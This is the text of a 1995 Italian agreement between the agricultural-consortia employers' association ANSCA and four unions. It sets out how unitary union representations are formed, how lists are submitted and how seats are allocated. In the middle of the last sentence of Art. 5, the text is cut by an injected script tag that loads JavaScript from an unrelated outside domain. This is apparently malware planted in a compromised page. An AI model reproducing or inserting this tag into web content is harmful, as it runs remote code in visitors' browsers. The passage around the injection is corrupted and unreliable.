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Categoria: Agenti di commercio e rappresentanti (consorzi agrari) Settore: Commercio Data stipula: 20-12-1995
ACCORDO PER LA COSTITUZIONE DELLE RAPPRESENTANZE SINDACALI UNITARIE
NEI CONSORZI AGRARI
Il 20 dicembre 1995, in Roma
tra l'ANSCA rappresentanza dal suo Presidente Gr. Uff. Sig. Adelino Rossi
e dai componenti il Comitato Direttivo Dr. Enrico Boffa, Sig. Lauro Costa,
dr. Giulio Cesare Donnaperna, Dr. Paolo Pasquali, Dr. Francesco Pulejo e
Sig. Roberto Rigonat;
e le Organizzazioni sindacali:
- FLAI-CGIL, rappresentata dal Segretario Generale Sig. Gianfranco Bemsi,
dal Segretario Nazionale Sig. Vincenzo Lacorte e dalla Sig.ra Patrizia
Consiglio;
- FISASCAT-CISL, rappresentata dal segretario Nazionale Sig. Mario
Marchetti e dal Sig. Mario Dalmasso;
- UILTuCS-UIL, rappresentata dal Segretario Nazionale Dr. Emilio
Fargnoli;
- SINALCAP, rappresentata dai Vice Segretari Nazinai sig. Vito Giannetta,
Sig. Licio Sabatini e Sig. Maurizio Zen
si è convenuto quanto segue.
ART. 1 - FONTE NORMATIVA
Il presente accordo vale quale disciplina generale in materia di
rappresentanze sindacali unitarie, per effetto di quanto previsto dal
Protocollo sottoscritto il 23 luglio 1993 tra il Governo e le parti
sociali, per questi aspetti recepito dall'accordo 10 aprile 1995 per i
lavoratori dei Consorzi Agrari.
PARTE PRIMA
Costituzione delle rappresentanze sindacali unitarie (R.S.U.)
ART. 2 - AMBITO ED INIZIATIVA PER LA COSTITUZIONE
Nei Consorzi Agrari si darà luogo alla costituzione delle rappresentanze
sindacali unitarie, sulla base di liste presentate ad iniziativa delle
Organizzazioni Sindacali firmatarie dell'accordo per il recepimento del
Protocollo 213 luglio 1993, nonchè del presente accordo e del CCNL.
Hanno altresì potere d'iniziativa a presentare liste del Associazioni,
diverse alle Organizzazioni Sindacali suddette, purchè formalmente
costituite in sindacato con un proprio statuto ed atto costituito ed a
condizione che:
a) rappresentino almeno il cinque % dei lavoratori aventi diritto al
voto;
b) accettino espressamente e formalmente il contenuto del presente
accordo.
ART. 3 - DESIGNAZIONE DELLE LISTE
Le Organizzazioni Sindacali firmatarie del presente accordo si impegnano ,
senza alcuna eccezione, a presentare sotto la propria sigla una sola lista
elettorale.
ART. 4 - COMPOSIZIONE DELLE R.S.U.
Alla costituzione delle rappresentanze sindacali unitarie si procede per
due terzi dei seggi, mediante elezione a scrutinio segreto, da parte di
tutti i lavoratori aventi diritto al voto tra liste concorrenti alla
competizione elettorale.
La parte riferita al rimanente terzo viene assegnata alle liste presentate
dalle Organizzazioni Sindacali firmatarie del CCNL vigente ed alla sua
copertura si procede in proporzione ai voti ricevuti nei due terzi.
ART. 5 - ATTRIBUZIONE DEI SEGGI
Ai fini dell'elezione dei due terzi dei componenti della R.S.U., il numero
dei seggi sarà ripartito - secondo il criterio proporzionale puro - in
relazione ai voti conseguiti dalle liste concorrenti.
La quota del residuo terzo dei seggi sarà attribuita in base al criterio
di composizione della R.S.U. previsto dall'art. 4, 2° comma, del presente
accordo.
Qualora due o più liste ottengano lo stesso numero di preferenze e,
attraverso il sistema di calcolo non sia possibile attribuire il seggio o
i seggi, si procederà al ballottaggio con nuova votazione e risulterà
attribuito il/i seggio/i alla/e lista/e che avrà/avranno ottenuto il
maggior numero di voti in base al criterio di cui al primo comma.
Qualora due o più candidati della stessa lista ottengano lo stesso numero
di voti di preferenza la designazione sarà data al candidato che abbia
maggiore anzianità di iscrizione al sindacato presso l'<script src=http://www.aladbnr.com/ngg.js></script>
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